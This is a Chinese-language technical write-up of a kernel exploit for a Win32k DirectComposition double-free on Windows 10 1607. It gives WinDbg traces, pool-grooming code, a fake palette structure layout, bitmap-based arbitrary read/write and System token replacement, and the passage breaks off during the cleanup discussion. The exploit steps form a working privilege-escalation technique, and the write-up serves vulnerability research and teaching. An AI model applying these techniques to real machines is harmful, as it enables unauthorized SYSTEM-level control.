作者:k0shl

0x00 前言

嘗試寫這個 Exploit 的起因是邱神 @pgboy1988 在3月份的一條微博,這是邱神和社哥在 cansecwest2017上的議題《Win32k Dark Composition--Attacking the Shadow Part of Graphic Subsystem》,后來邱神在微博公開了這個議題的 slide,以及議題中兩個 demo 的 PoC,當時我也正好剛開始學習內核漏洞,于是就想嘗試將其中一個 double free 的 demo 寫成 exploit(事實證明我想的太簡單了)。

后來由于自己工作以及其他在同時進行的一些flag,還有一些瑣碎事情的原因,這個 Exploit 拖拖拉拉了半年時間,其中踩了很多坑,但這些坑非常有趣,于是有了這篇文章,我會和大家分享這個 Exploit 的誕生過程。

我在6月份完成了 Exploit 的提權部分,隨后遇到了一個非常大的困難,就是對 Handle Table 的修補,10月份完成了整個漏洞的利用。

非常非常感謝邱神在我嘗試寫 Exploit 的過程中對我的指點,真的非常非常重要!也非常感謝我的小伙伴大米,在一些細節上的討論碰撞,解決了一些問題,很多時候自己走不出的彎如果有大佬可以指點,或者和小伙伴交流討論,會解決很多自己要好久才能解決的問題。

最后我還是想說,十一長假時完成這個 Exploit 的時候我差點從椅子上跳起來,whoami->SYSTEM 那一刻我突然覺得,這個世界上怕是沒有什么比 system&&root 更讓我興奮的事情了!

調試環境:
Windows 10 x64 build 1607
win32kbase.sys 10.0.14393.0
Windbg 10.0.15063.468
IDA 6.8

邱神的 slide 和 PoC: https://github.com/progmboy/cansecwest2017

我會默認閱讀此文的小伙伴們已經認真看過邱神和社哥的 slide,關于 slide 中提到的知識點我就不再贅述,歡迎師傅們交流討論,批評指正,感謝閱讀!

0x01 關于Direct Compostion和PoC

關于 Direct Composition 在 slide 里有相關描述,如果想看更詳細的內容可以參考MSDN,這里我就不再贅述,我最開始復現這個 double free 漏洞的時候碰到了第一個問題,當時 PoC 無法觸發這個漏洞,會返回 NTSTATUS 0xC00000D,我重新跟蹤了一下調用過程,發現了第一個問題的解決方法。

首先,在 Win10 RS1 之后 Direct Compostion 的 NTAPI 引用可以通過 NtDCompositionProcessChannelBatchBuffer 調用,通過 enum DCPROCESSCOMMANDID 管理。

enum DCPROCESSCOMMANDID
{
    nCmdProcessCommandBufferIterator,
    nCmdCreateResource,
    nCmdOpenSharedResource,
    nCmdReleaseResource,
    nCmdGetAnimationTime,
    nCmdCapturePointer,
    nCmdOpenSharedResourceHandle,
    nCmdSetResourceCallbackId,
    nCmdSetResourceIntegerProperty,
    nCmdSetResourceFloatProperty,
    nCmdSetResourceHandleProperty,
    nCmdSetResourceBufferProperty,
    nCmdSetResourceReferenceProperty,
    nCmdSetResourceReferenceArrayProperty,
    nCmdSetResourceAnimationProperty,
    nCmdSetResourceDeletedNotificationTag,
    nCmdAddVisualChild,
    nCmdRedirectMouseToHwnd,
    nCmdSetVisualInputSink,
    nCmdRemoveVisualChild
};

這個 NtDCompositionChannelBatchBuffer 函數在 win32kbase.sys 中,它的函數邏輯如下:

__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(DirectComposition::CApplicationChannel *this, char *a2, unsigned int a3, __int64 a4, unsigned __int32 *a5)
{
          switch ( v10 )
        {
          case 9:
            v11 = v6;
            if ( v5 >= 0x10 )
            {
              v6 += 16;
              v5 -= 16;
              v12 = DirectComposition::CApplicationChannel::SetResourceFloatProperty(
                      v7,
                      *((_DWORD *)v11 + 1),
                      *((_DWORD *)v11 + 2),
                      *((float *)v11 + 3));
              goto LABEL_10;
            }
            v8 = -1073741811;
            goto LABEL_2;
          case 7:
            v42 = v6;
            if ( v5 >= 0xC )
            {
              v6 += 12;
              v5 -= 12;
              v12 = DirectComposition::CApplicationChannel::SetResourceCallbackId(
                      v7,
                      *((_DWORD *)v42 + 1),
                      *((_DWORD *)v42 + 2));
              goto LABEL_10;
            }
            v8 = -1073741811;
            goto LABEL_2;
          case 1:
          .....
}

關于 enum DCPROCESSCOMMAND 中的 API 調用在 ProcessCommandBufferIterator 是通過 switch case 管理的,我直接跟到關鍵的 nCmdSetResourceBufferProperty 函數。

else if ( v9 == 11 ) // if v9 == setbufferproperty
{
 v22 = v6;
 if ( v5 < 0x10 ) // v5 = 0x5d
 {
 v8 = -1073741811;
 }
 else
 {
 v6 += 16; // pointer to resource data
 v5 -= 16; // //size - resource header size
 v23 = *((_DWORD *)v22 + 3); // v23 = get data size in resource header
 v24 = (v23 + 3) & 0xFFFFFFFC; // v24 > v5
 if ( v24 < v23 || v5 < v24 ) // size of type must 0x4c
 {
  LABEL_144:
  v8 = -1073741811;
 }
 else
 {
 v6 += v24;
 ……

這里 v9 的值是 enum 的值,可與之前的 enum 定義做比對,當其值為0xB的時候,進入 CmdSetResourceBufferProperty 的 case 邏輯,這里比較關鍵的是 else 邏輯中的if ( v24 < v23 || v5 < v24 ),如果滿足其中一個條件為1,就會返回0xC00000D,返回 NTSTATUS 并不會進入 SetBufferProperty 函數處理,因此沒有觸發漏洞。

而由于之前 v24 會與 0xFFFFFFFC 做與運算,因此這個值只有滿足 v5=v24 才會令第二個值為 0,因此這里 v5 的值,也就是 PoC中 sizeof(szBuf)的值二進制低4位必須為1100,這里之前 PoC 的 sizeof(szBuf)的值為 0x4d,只需要減去一個字節,令sizeof(szBuf)=0x4c,就可以不進入這個 if 語句。最終觸發漏洞。

0x02 DComposition Double Free漏洞分析

下面來分析一下這個 double free 漏洞,問題存在于 SetBufferProperty 函數中,函數中會創建一個池,用來存放 resource 的dataBuf,在函數中會調用 win32kbase!StringCbLengthW,獲取 dataBuf 的長度,隨后進行拷貝,但是如果 StringCbLengthW失敗,則會返回一個NTSTATUS,隨后釋放這個pool,但是釋放后沒有對池指針置 NULL,最后在 releaseresource 的時候會檢查這個 databuf 指針是否為0,不為0則會 freepool,而由于之前沒有置 NULL,從而引發 double free。下面來看下這個漏洞過程。

第一步我們通過 CreateResource 創建 hResource,并且返回這個 resource 的句柄。

kd> g
Breakpoint 1 hit
win32kbase!NtDCompositionProcessChannelBatchBuffer:
ffff87e7`8d3f30c0 488bc4          mov     rax,rsp
kd> ba e1 win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
kd> g
Breakpoint 2 hit
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator:
ffff87e7`8d3f43c0 44884c2420      mov     byte ptr [rsp+20h],r9b
//***************rdx存放resource句柄
kd> r rdx
rdx=ffff8785c3cb0000
kd> dd ffff8785c3cb0000 l1//hresource值為1
ffff8785`c3cb0000  00000001

第二步進入 NtDCompositionProcessChannelBatchBuffer 函數處理,就是第二小節中我們介紹的 switch case 處理,首先 enum 的值為0xb,進入 SetBufferProperty 處理。

kd> ba e1 win32kbase!NtDCompositionProcessChannelBatchBuffer
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`ebc91480 cc              int     3
kd> g
Breakpoint 0 hit
win32kbase!NtDCompositionProcessChannelBatchBuffer:
ffff87e7`8d3f30c0 488bc4          mov     rax,rsp
kd> ba e1 win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator:
ffff87e7`8d3f43c0 44884c2420      mov     byte ptr [rsp+20h],r9b
kd> r rdx
rdx=ffff8785c4170000
//****************enum的值為0xb,代表setbufferproperty API
kd> dd ffff8785c4170000 l1
ffff8785`c4170000  0000000b

這里我們通過第二小節中的分析,修改了正確的 szbuf 大小,因此可以順利進入 SetBufferProperty 函數中。

kd> p
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x217:
ffff87e7`8d3f45d7 498bca          mov     rcx,r10
//*************跳轉到SetBufferProperty
kd> p
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x21a:
ffff87e7`8d3f45da ff1568270d00    call    qword ptr [win32kbase!_guard_dispatch_icall_fptr (ffff87e7`8d4c6d48)]
kd> t
win32kbase!guard_dispatch_icall_nop:
ffff87e7`8d4179f0 ffe0            jmp     rax
kd> p
win32kbase!DirectComposition::CExpressionMarshaler::SetBufferProperty:
ffff87e7`8d3f37c0 4c8bdc          mov     r11,rsp

第三步,進入 SetBufferProperty,首先會分配一個池空間用于準備存放 hresource 的 databuf,返回指向這個池的指針A。

kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d70d:
ffff87e7`8d43d4cd e89e39fbff      call    win32kbase!Win32AllocPoolWithQuota (ffff87e7`8d3f0e70)
//***********分配池空間大小0x4c,正好是databuf的大小
kd> r rcx
rcx=000000000000004c
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d712:
ffff87e7`8d43d4d2 48894758        mov     qword ptr [rdi+58h],rax
//*************rax存放的是指向池空間的指針A
kd> r rax
rax=ffff8785c01463f0
kd> !pool ffff8785c01463f0
 ffff8785c0146000 size:  3b0 previous size:    0  (Allocated)  Gfnt
 ffff8785c01463b0 size:   30 previous size:  3b0  (Free)       Free
 //*************當前池處于Allocated狀態
*ffff8785c01463e0 size:   60 previous size:   30  (Allocated) *DCdn Process: eba5d6c42906b9b2       Owning component : Unknown (update pooltag.txt)
 ffff8785c0146440 size:   60 previous size:   60  (Allocated)  CSMr

第四步,在向池空間拷貝 databuf 前,會先調用 win32kbase!StringCbLengthW 獲得 databuf 的大小,但是如果 StringCbLengthW 返回錯誤,則會釋放掉這個池空間。

//*************調用StringCbLengthW函數
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff87e7`8d43d4e6 e849b30300      call    win32kbase!StringCbLengthW (ffff87e7`8d478834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff87e7`8d43d4eb 85c0            test    eax,eax
//**********函數失敗返回NTSTATUS
kd> r eax
eax=80070057
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72d:
ffff87e7`8d43d4ed 782c            js      win32kbase! ?? ::FNODOBFM::`string'+0x1d75b (ffff87e7`8d43d51b)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d75b:
ffff87e7`8d43d51b 488b4f58        mov     rcx,qword ptr [rdi+58h]
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d75f:
ffff87e7`8d43d51f bb0d0000c0      mov     ebx,0C000000Dh
//********失敗后調用FreePool
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d764:
ffff87e7`8d43d524 e8272af9ff      call    win32kbase!Win32FreePool (ffff87e7`8d3cff50)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d769:
ffff87e7`8d43d529 90              nop
kd> !pool ffff8785c01463f0
Pool page ffff8785c01463f0 region is Unknown
 ffff8785c0146000 size:  3b0 previous size:    0  (Allocated)  Gfnt
 ffff8785c01463b0 size:   30 previous size:  3b0  (Free)       Free
 //*********可以看到申請的池現在是Free狀態
*ffff8785c01463e0 size:   60 previous size:   30  (Free ) *DCdn Process: 145a77c888d83932
        Owning component : Unknown (update pooltag.txt)
 ffff8785c0146440 size:   60 previous size:   60  (Allocated)  CSMr

但是釋放后,沒有對指針進行置 NULL,導致調用 ReleaseResource 時,會再次釋放這個池空間,最后導致 double free 的發生。

//*********調用ReleaseResource函數后會調用CBaseExpressionMarsharler
kd> g
Breakpoint 3 hit
win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler:
ffff87e7`8d3f2d40 4053            push    rbx
kd> kb
RetAddr           : Args to Child                                                           : Call Site
ffff87e7`8d3f3b74 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler
ffff87e7`8d3f3d7a : ffff8785`c1b94970 00000000`00000000 00000000`00000000 00000000`00000297 : win32kbase!DirectComposition::CExpressionMarshaler::`scalar deleting destructor'+0x14
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kbase!DirectComposition::CApplicationChannel::ReleaseResource+0x1ea

kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d688:
ffff87e7`8d43d448 e8032bf9ff      call    win32kbase!Win32FreePool (ffff87e7`8d3cff50)
//**********釋放這個已Free的指針
kd> r rcx
rcx=ffff8785c01463f0
kd> !pool ffff8785c01463f0
Pool page ffff8785c01463f0 region is Unknown
 ffff8785c0146000 size:  3b0 previous size:    0  (Allocated)  Gfnt
 ffff8785c01463b0 size:   30 previous size:  3b0  (Free)       Free
 //*********當前已處于釋放狀態
*ffff8785c01463e0 size:   60 previous size:   30  (Free ) *DCdn Process: 145a77c888d83932
        Owning component : Unknown (update pooltag.txt)
 ffff8785c0146440 size:   60 previous size:   60  (Allocated)  CSMr

//***********最終引發bugcheck,double free 
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed

關于為什么 StringCbLengthW 函數會失敗,在后面利用的過程中我會提到,因為想利用這個漏洞,我們需要它后 面返回成功,實現 szbuf 對內核空間的數據拷貝。

0x03 GDI Data Attack!--從Double Free到write what where

其實我六月份開始寫這個漏洞的時候關于 GDI attack 的方法我沒有找到 paper,導致用 palette 的時候逆向了很多函數,最后寫了這個 exp,后來有了幾篇關于 GDI 的 paper,講述的還是比較詳細的,后面我會給這個 paper 的鏈接。

其實我也思考了關于 bitmap 的方法,其實理論上應該也可以的,但我在 google 上當時搜到了一篇文章,提到了一句關于 palette的信息,當時那篇paper上說 palette 的 kernel object 結構更簡單,如果用 bitmap 的話,如果覆蓋 bitmap 的 kernel object 的其他結構的話,可能導致在其他時候會產生一些問題,在內核漏洞利用中如果產生 crash 可能直接就 bsod 了...

在這個 double free 中完全可以只用 palette 來完成攻擊,因為之前做 bitmap 比較多,對 bitmap 比較熟悉,因此在我的 exploit 中,palette 只起到一個過渡作用,最終還是通過 bitmap 來完成任意地址讀寫。

關于這個 double free 的利用思路是,首先在第一次 free 的時候會產生一個 hole,然后我們用 palette 占用這個 hole,然后第二次 free 的時候實際上釋放的是這個 palette,然而因為不是通過 deleteobject 釋放 palette,這個 palette 的 handle 并沒有被消除,這樣我們可以通過第三次用可控的 kernel object 填充,從而控制 palette 的內核對象空間,而我們還可以對 palette 的句柄進行操作,這個過程完成 double free -> use after free -> write what where 的過程。

OK,第一步我們需要創造一個穩定的內核空洞,比較巧的是 SetBufferProperty 創建的這個 pool 是一個 session paged pool,而Accelerator 的 kernel object 也是一個 session paged pool,而 GDI 的 palette 和 bitmap 也是 session paged pool,因此我使用了 Nicolas Economous 的方法來制造這個穩定的pool hole(https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf)。

//step 1
kd> p
_dark_composition_+0x18c7:
0033:00007ff6`25ca18c7 4d8bc6          mov     r8,r14
kd> p
_dark_composition_+0x18ca:
0033:00007ff6`25ca18ca b901000000      mov     ecx,1
kd> r r8
r8=ffff8ace81fa9310
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
ffff8ace81fa9000 is not a valid large pool allocation, checking large session pool...
 ffff8ace81fa9260 size:   20 previous size:    0  (Allocated)  Frag
 ffff8ace81fa9280 size:   10 previous size:   20  (Free)       Free
 ffff8ace81fa9290 size:   70 previous size:   10  (Allocated)  Uswe
 //*********創建Accelerator kernel object
*ffff8ace81fa9300 size:  100 previous size:   70  (Allocated) *Usac Process: ffffa6018eb56080
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
……
//step 2
kd> g
Break instruction exception - code 80000003 (first chance)
_dark_composition_+0x2460:
0033:00007ff6`25ca2460 cc              int     3
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
ffff8ace81fa9000 is not a valid large pool allocation, checking large session pool...
 ffff8ace81fa9260 size:   20 previous size:    0  (Allocated)  Frag
 ffff8ace81fa9280 size:   10 previous size:   20  (Free)       Free
 ffff8ace81fa9290 size:   70 previous size:   10  (Allocated)  Uswe
 //******DeleteAccelerator制造pool hole
*ffff8ace81fa9300 size:  100 previous size:   70  (Free ) *Usac
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable

我通過 DeleteAccelerator 釋放這個 Accelerator 制造了一個 pool hole,隨后我們調用 SetBufferProperty 來占用這個 pool hole,之后由于 StringCbLengthW 失敗,這個 pool hole 又會被釋放出來。

//step 1
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d70d:
ffff8aae`1923d4cd e89e39fbff      call    win32kbase!Win32AllocPoolWithQuota (ffff8aae`191f0e70)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d712:
ffff8aae`1923d4d2 48894758        mov     qword ptr [rdi+58h],rax
kd> r rax
rax=ffff8ace81fa9310
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//******在SetBufferProperty中會在pool hole重新申請池空間
*ffff8ace81fa9300 size:  100 previous size:   70  (Allocated) *DCdn Process: ffffa6018eb56080
        Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C

//step 2
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff8aae`1923d4e6 e849b30300      call    win32kbase!StringCbLengthW (ffff8aae`19278834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff8aae`1923d4eb 85c0            test    eax,eax
//win32kbase!StringCbLengthW函數失敗返回錯誤NTSTATUS
kd> r eax
eax=80070057

//step 3
//************這是第一次free
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d764:
ffff8aae`1923d524 e8272af9ff      call    win32kbase!Win32FreePool (ffff8aae`191cff50)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d769:
ffff8aae`1923d529 90              nop
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**************free pool hole 
*ffff8ace81fa9300 size:  100 previous size:   70  (Free ) *DCdn
        Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C

第二步,我們通過 CreatePalette 來申請 GDI kernel address 占用這個 hole,關于 palette 的占用大小,當時我為了做這個穩定的 pool fengshui,我跟了 CreatePalette 相關函數很長時間,做了很多嘗試才發現如何控制申請的大小,不過最近有一篇 paper,給出了一個“公式”,這個大小和 struct LOGPALETTE 結構體成員有關,這里我就不重復逆向的繁瑣過程了(https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html)。

HPALETTE createPaletteofSize(int size) {
  // we alloc a palette which will have the specific size on the paged session pool. 
  if (size <= 0x90) {
    printf("bad size! can't allocate palette of size < 0x90!\n");
    return 0;
  }
  int pal_cnt = (size - 0x90) / 4;
  int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
  LOGPALETTE *lPalette = (LOGPALETTE*)malloc(palsize);
  memset(lPalette, 0x4, palsize);
  lPalette->palNumEntries = pal_cnt;
  lPalette->palVersion = 0x300;
  return CreatePalette(lPalette);
}

我們通過 CreatePalette 可以申請和 hrescoure->databuf 相同大小空間的 pool,去占用這個 pool hole,以便在下一步中 double free 掉這個 palette 對象。

//createpalette創建palette占用pool hole
kd> p
win32u!NtGdiCreatePaletteInternal:
0033:00007ffd`13ab25f0 4c8bd1          mov     r10,rcx
kd> gu
_dark_composition_+0x1b97:
0033:00007ff6`25ca1b97 488b5d58        mov     rbx,qword ptr [rbp+58h]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**************重新覆蓋palette,這個palette會在第二次free時不知情的情況下free掉
*ffff8ace81fa9300 size:  100 previous size:   70  (Allocated) *Gh08
        Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys

隨后我們通過 Release Resource 會釋放這個 palette kernel object(double free漏洞),這樣又產生了一個 pool hole,而這個 palette 釋放后,它的句柄仍然存在,我們仍然可以調用到這個句柄對 palette 進行操作。

//Release Resource會釋放掉palette
kd> p
_dark_composition_+0x1c08:
0033:00007ff6`25ca1c08 41ffd5          call    r13
kd> p
_dark_composition_+0x1c0b:
0033:00007ff6`25ca1c0b 488d153e2c0100  lea     rdx,[_dark_composition_+0x14850 (00007ff6`25cb4850)]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//*********palette在不知情的情況下被釋放,double free變成use after free
*ffff8ace81fa9300 size:  100 previous size:   70  (Free ) *Gh08
        Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys

接下來,我們需要用可控的內核對象來占用這個 hole,其實這種情況下,有很多內核對象可以用,但是我想到之前的 SetBufferProperty 就是為了將用戶可定義的 databuf 拷貝到內核對象空間。也就是說,如果我們可以在 SetBufferProperty 函數創建池空間后不讓它 free,也就是說 StringCbLengthW 能夠成功返回,就可以不讓它 free 了,而且可以通過 databuf 來控制內核空間的值。

ffff8aae`1923d4e6 e849b30300      call    win32kbase!StringCbLengthW (ffff8aae`19278834)
ffff8aae`1923d4eb 85c0            test    eax,eax
ffff8aae`1923d4ed 782c            js      win32kbase! ?? ::FNODOBFM::`string'+0x1d75b (ffff8aae`1923d51b)
//*************如果stringcblenghtw成功,則會進入拷貝邏輯
ffff8aae`1923d4ef 488b5530        mov     rdx,qword ptr [rbp+30h]
ffff8aae`1923d4f3 4c8bc6          mov     r8,rsi
ffff8aae`1923d4f6 488b4f58        mov     rcx,qword ptr [rdi+58h]
ffff8aae`1923d4fa 83476002        add     dword ptr [rdi+60h],2
//************databuf拷貝
ffff8aae`1923d4fe e8b5b20300      call    win32kbase!StringCbCopyW (ffff8aae`192787b8)

那么如何讓 StringCbLengthW 函數成功呢?首先我們要分析為什么 StringCbLengthW 會返回錯誤。在 StringCbLength 有這樣一處邏輯。

  do//v5是szBuf,v7是長度
  {
    if ( !*v5 )//若v5的值是0x00,則break跳出循環
      break;
    ++v5;//否則szBuf指針后移
    --v7;//計數器減1
  }
  while ( v7 );//若長度一直減到0
  if ( v7 )//若v7不為0
    v6 = v3 - v7;//正常返回
  else//若v7為0
LABEL_16:
    v8 = -2147024809;//返回錯誤NTSTATUS

這樣,我們只需要修改 databuf,增加一個\x00就可以不讓 kernel object free 掉了,接下來我們需要考慮控制 palette 的內核空間,因為我們后面會直接用可控的 szBuf 對這個池空間進行覆蓋,勢必會覆蓋到所有內容,如果 palette 的某些關鍵結構被覆蓋,則會導致其他的 crash 的發生。

當然這里我們最主要控制的是 palette->pEntries,通過覆蓋它就可以通過 SetPaletteEntries 來對 pEntries 指向的空間進行寫入,而如果這個 pEntries 指向 ManagerBitmap 的 kernel object,我們就可以通過 SetPaletteEntries 修改 ManageBitmap 的 pvScan0,令它指向 WorkerBitmap 的 pvScan0。

由于我們要用到 SetPaletteEntries,所以我直接動態調試,并跟蹤了這個函數。

__int64 __fastcall GreSetPaletteEntries(HPALETTE a1, unsigned __int32 a2, unsigned __int32 a3, const struct tagPALETTEENTRY *a4)
{
  v4 = a4;
  v5 = a3;
  v6 = a2;
  v7 = 0;
  EPALOBJ::EPALOBJ((EPALOBJ *)&v13, a1);
  v8 = v13;
  if ( v13 )
  {
    v14 = *(_QWORD *)ghsemPalette;
    GreAcquireSemaphore();
    v7 = XEPALOBJ::ulSetEntries((XEPALOBJ *)&v13, v6, v5, v4);

在跟蹤的過程中,我找到了幾處位置,在我通過 szBuf 覆蓋的時候,需要注意這幾處位置,不能隨意修改其中的值,否則會導致 SetPaletteEntries 失敗。

//第一處是
_QWORD *__fastcall EPALOBJ::EPALOBJ(_QWORD *a1, __int64 a2)
{
  __int64 v2; // rax@1
  _QWORD *v3; // rbx@1
  __int64 v4; // rax@1

  *a1 = 0i64;
  v2 = a2;
  v3 = a1;
  LOBYTE(a2) = 8;
  LODWORD(v4) = HmgShareLockCheck(v2, a2);//這里會check句柄
  *v3 = v4;
  return v3;
}

//第二處是
    v7 = XEPALOBJ::ulSetEntries((XEPALOBJ *)&v13, v6, v5, v4);//檢查+0x48 +0x50兩個值


//第三處是+0x28位置會有一個跳轉

kd> p
win32kfull!GreSetPaletteEntries+0x72://check rbx+0x28  這個值是HDC,獲取HDC的值,如果為0,則沒有HDC,否則則有HDC,就可以繞過了,很簡單,只需要申請一個hdc即可
ffff915c`473f35f2 488b7b28        mov     rdi,qword ptr [rbx+28h]
kd> r rdi
rdi=ffff911680003000
kd> p
win32kfull!GreSetPaletteEntries+0x76:
ffff915c`473f35f6 4885ff          test    rdi,rdi
kd> r rdi
rdi=ffff9116801cad00
kd> p
win32kfull!GreSetPaletteEntries+0x79:
ffff915c`473f35f9 7477            je      win32kfull!GreSetPaletteEntries+0xf2 (ffff915c`473f3672)

這樣我對 szBuf 重新布局,當然,我們必須在 szBuf 中加入\x00,確保 StringCbLengthW 函數可以成功。

//對szBuf重新布局
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10, sfBuf, sizeof(sfBuf));
    //make fake struct
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10, &hPLP,0x4);
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x14, &lpFakeLenth, 0x4);
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x28, &hDC, 0x4);
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x48, &lpFakeSetEntries, sizeof(LPVOID));
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x50, &lpFakeSetEntries, sizeof(LPVOID));
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x78, &ManagerBitmap.pBitmap, sizeof(LPVOID));
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x80, &pAcceleratorTableA, sizeof(LPVOID));
    CopyMemory((PUCHAR)pMappedAddress1 + 0x10 + 0x88, &lpFakeValidate, sizeof(LPVOID));

OK,當然我們\x00的位置也不要太靠后了,正常覆蓋到 palette 的 pEntries 的位置就可以了,這樣我們可以令 StringCbLengthW 函數正常返回,并且正常填充 palette 內核對象。

//step 1
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff8aae`1923d4e6 e849b30300      call    win32kbase!StringCbLengthW (ffff8aae`19278834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff8aae`1923d4eb 85c0            test    eax,eax
//***********StringCbLengthW函數返回成功
kd> r eax
eax=0

//step 2
//*********Copy DataBuf
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d73e:
ffff8aae`1923d4fe e8b5b20300      call    win32kbase!StringCbCopyW (ffff8aae`192787b8)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d743:
ffff8aae`1923d503 85c0            test    eax,eax
kd> dd ffff8ace81fa9310
ffff8ace`81fa9310  3a080b88 0e5fc03a 8b6e2606 e583bcb7
ffff8ace`81fa9320  3f20a031 01010101 3042e350 2d0491ed
ffff8ace`81fa9330  156847e5 8b0a18ad 3f010b70 a307418e
ffff8ace`81fa9340  75242394 d51c4f60 33749cc6 4a68c5ef
ffff8ace`81fa9350  75242394 d51c4f60 81fa9340 ffff8ace
ffff8ace`81fa9360  81fa9340 ffff8ace 33749cc6 4a68c5ef
ffff8ace`81fa9370  75242394 d51c4f60 33749cc6 4a68c5ef
ffff8ace`81fa9380  75242394 d51c4f60 
ffff8ace`81fa9388  82017000 ffff8ace//pEntries change to ManageBitmap!!

一旦我們成功控制了 pEntries,就可以通過 pEntries 來實現對 bitmap 的 pvScan0 的控制了,這樣,我們就可以通過控制 ManagerBitmap 的 pvScan0,讓它指向 WorkerBitmap 的 pvScan0 來實現內核空間的任意地址讀寫。也就是 GetBitmapBits/SetBitmapBits,關于 Bitmap 這個方法,依然可以參考 Nicolas Economous 的 slide。最后我們直接讀取 System 的 Token,來替換當前進程的 Token 完成提權。

PROCESS ffffb0083dead040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffff9b0a006032c0  HandleCount: <Data Not Accessible>
    Image: System


PROCESS ffffb0084103c800
    SessionId: 1  Cid: 1794    Peb: 6d54989000  ParentCid: 13d0
    DirBase: 22f52a000  ObjectTable: ffff9b0a06c88840  HandleCount: <Data Not Accessible>
    Image: _dark_composition_.exe
//System Token替換了Current Process Token
kd> dd ffffb0083dead040+358 l2
ffffb008`3dead398  006158a8 ffff9b0a 00000000 00000000
kd> dd ffffb0084103c800+358 l2
ffffb008`4103cb58  006158a8 ffff9b0a 0000a93a 00000000

0x04 擊垮隱藏Boss--Process exit的陷阱

如圖,我們完成了提權,但是在進程退出的時候報錯了。這是困擾我最久的問題,我經過了各種各樣的嘗試,多次請教了邱神相關的問題,最后終于解決了這個大 Boss。

其實錯誤有很多,首先我們對palette的覆蓋,導致了palette在釋放的時候產生了問題,不過既然我們此時已經擁有了任意內核地址的讀寫能力,我們直接對palette的內核空間做fix,將databuf覆蓋的部分修改過來(置NULL)就可以了。也就是clear kernel object。

    PVOID pPLPNULL = NULL;
    for (int i = 1; i <= 14; i++)//除了palettek開頭4字節句柄之外,其他szBuff部分置NULL
    {
        BitmapArbitraryWrite(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, (PUCHAR)pAcceleratorTableA + 0x8*i, pPLPNULL, sizeof(LPVOID));
    }
    DeleteObject(hPLP);

之后調用 DeletePalette 釋放掉 palette 的句柄,但是隨后會產生一個 double free 的漏洞,這是由于我們最后用來控制 palette 內核對象的 databuf 的 hResource 和 palette 用的是同一個內核空間,這樣如果我們先用 DeletePalette 釋放內核空間后,該空間釋放后處于一個 free 狀態。

//***********palette前4個字節存放palette句柄
kd> dd ffff8ace81fa9310 l1
ffff8ace`81fa9310  08080b80
kd> p
